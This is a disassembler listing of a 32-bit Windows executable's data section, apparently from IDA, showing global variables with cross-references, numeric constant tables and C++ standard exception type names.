sub_423936+72o dd 1000h, 0 dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o dd 0Fh dup(0) off_43CCF4 dd offset dword_544450 ; DATA XREF: ___:off_43CD38o dd 0Fh dup(0) off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D130 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1E21h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043375Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A48o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384B8o dword_457444 dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438324o dword_4B5248 dd 569Ah dup(0) dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB020 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r 